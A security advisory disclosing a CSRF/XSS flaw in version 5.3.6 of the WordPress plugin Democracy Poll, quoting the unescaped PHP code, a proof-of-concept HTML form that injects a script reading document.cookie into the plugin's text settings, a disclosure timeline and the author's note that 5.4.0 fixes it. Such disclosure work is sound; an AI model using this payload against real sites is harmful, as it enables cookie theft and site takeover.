Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Democracy Poll
As part of the feature of our service where we do security reviews of plugins that are selected by our customers, we recently reviewed the plugin Democracy Poll. The most serious issue we found in that review was a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability.
The CSRF potion of the vulnerability was due to a lack of a nonce on the Texts Changes tab of the plugin’s admin page and a lack of a check for a valid one when processing a request to change the plugin’s settings .
For the XSS issue, in the file /admin/class.DemAdminInit.php the function update_l10n() saves the relevant settings and no sanitization is done in version 5.3.6:
151 152 153 154 155 156 157 158 159 160 | function update_l10n(){ $new_l10n = stripslashes_deep( $_POST['l10n'] ); // удалим, если нет отличия от оригинального перевода foreach( $new_l10n as $k => $v ) if( __( $k,'dem') == $v ) unset( $new_l10n[ $k ] ); update_option('democracy_l10n', $new_l10n ); } |
When the values are output they are not escaped, take for the example the value for “Vote”, in the file /democracy-poll/class.DemPoll.php it is output on line 384:
$vote_btn = '<a href="javascript:void(0);" class="dem-button '. Dem::$opt['btn_class'] .' dem-vote-link" data-dem-act="vote_screen" rel="nofollow">'. __dem('Vote') .'</a>';
The function that gets the value of “Vote” there __dem() (in the file /democracy.php) does not escape it either:
69 70 71 72 73 74 75 | function __dem( $str ){ static $cache; if( $cache === null ) $cache = get_option('democracy_l10n'); return isset( $cache[ $str ] ) ? $cache[ $str ] : __( $str, 'dem'); } |
We notified the developer of the issue and the rest of our review’s findings on February 8, but we haven’t heard back from them and no changes had been made to the plugin since then.
Proof of Concept
The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=democracy-poll&subpage=l10n and fronted pages with a poll on them, when submitted as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/options-general.php?page=democracy-poll&subpage=l10n" method="POST"> <input type="hidden" name="l10n[Vote]" value='"><script>alert(document.cookie);</script>' /> <input type="submit" name="dem_save_l10n" value="Save Text" /> </form> </body> </html>
Timeline
- February 8, 2017 – Developer notified.
- February 22, 2017 – WordPress.org Plugin Directory notified.
- February 23, 2017 – Version 5.4 submitted to Plugin Directory subversion repository, which fixes vulnerability.
Hello, I’m author of democracy poll. Thanks for this issue – it was fixed from 5.4.0 version